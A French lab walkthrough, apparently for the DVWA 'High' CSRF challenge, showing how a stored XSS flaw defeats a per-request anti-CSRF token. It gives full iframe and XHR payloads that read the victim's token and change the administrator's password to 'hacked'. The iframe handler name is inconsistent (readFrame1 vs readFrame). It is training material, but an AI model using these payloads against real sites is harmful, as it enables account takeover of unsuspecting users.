Niveau "High"
Lâanalyse du formulaire indique la prĂ©sence dâun champ cachĂ© nommĂ© "user_token" (il s'agit d'un jeton anti-CSRF). La valeur de ce champ est rĂ©gĂ©nĂ©rĂ©e pour chaque requĂȘte :

La requĂȘte effectuĂ©e lors du changement du mot de passe est de type GET
:

Les premiers tests à faire sont sans doute de vérifier la bonne implémentation du jeton. Que se passe t'il en cas de champ vide ou si le champ n'est pas présent ? Ici l'implémentation semble correcte et le jeton est donc obligatoire :

Une faille XSS permet de contourner une protection basée sur un jeton anti-CSRF (qu'il soit per-request ou per-session). Cela se fait en deux étapes :
Une premiĂšre requĂȘte va permettre de rĂ©cupĂ©rer un jeton CSRF prĂ©sent sur la page du challenge
Une seconde requĂȘte, comprenant le jeton fraĂźchement rĂ©cupĂ©rĂ©, va modifier le mot de passe de la victime
Exploitation via des iframes
J'affiche une premiĂšre <iframe>
qui va afficher la page du challenge afin de récupérer le jeton. La mécanique de récupération se fait grùce à la méthode readFrame1()
:
<iframe src="http://192.168.56.203:8080/vulnerabilities/csrf" onload="readFrame1()" id="frame1"></iframe>
Voici la fonction readFrame1()
(hébergée dans un fichier nommé "csrf.js" sur un serveur malicieux) :
function readFrame() {
var token='&user_token=' + document.getElementById("frame1").contentDocument.getElementsByName("user_token")[0].value;
var link = "http://192.168.56.203:8080/vulnerabilities/csrf?password_new=hacked&password_conf=hacked&Change=Change"+token;
document.getElementById("frame2").src=link;
}
La variable token
va contenir la chaßne suivante : "&user_token=jeton_csrf_récupérée"
. J'assigne Ă une seconde <iframe>
une URL reprĂ©sentant la requĂȘte GET
effectuant le changement de mot de passe.
Cette <iframe>
sera appelée de cette façon :
<iframe id="frame2"></iframe>
Ci-dessous la payload ainsi que son affichage lors de l'exécution. Bien penser à injecter la payload en mode "Low" mais de repasser en mode "High" pour son exploitation :

Une fois que l'administrateur visitera la page du challenge XSS, son mot de passe sera changé :

Exploitation via des requĂȘtes XHR
Un peu plus moderne, il est possible d'effectuer la mĂȘme attaque en utilisant deux requĂȘtes XHR
. La premiÚre va permettre de récupérer le jeton :
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.56.203:8080/vulnerabilities/csrf', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
// ExĂ©cuter RequĂȘte 2, changement de mot de passe
};
xhr.send();
Et la seconde, d'effectuer le changement de mot de passe une fois la premiĂšre requĂȘte exĂ©cutĂ©e (et le jeton rĂ©cupĂ©rĂ©) :
// RequĂȘte 2 var xhr2 = new XMLHttpRequest(); xhr2.open('GET', 'http://192.168.56.203:8080/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true); xhr2.send();
La mise en place de la payload s'effectue toujours en se servant de la vulnérabilité XSS en niveau "Low" :

Lorsque la victime exécutera la payload XSS cela va déclencher l'attaque CSRF (repasser en "High") :

Le mot de passe de l'administrateur a bien été changé suite à sa visite (du challenge XSS) :

Mis Ă jour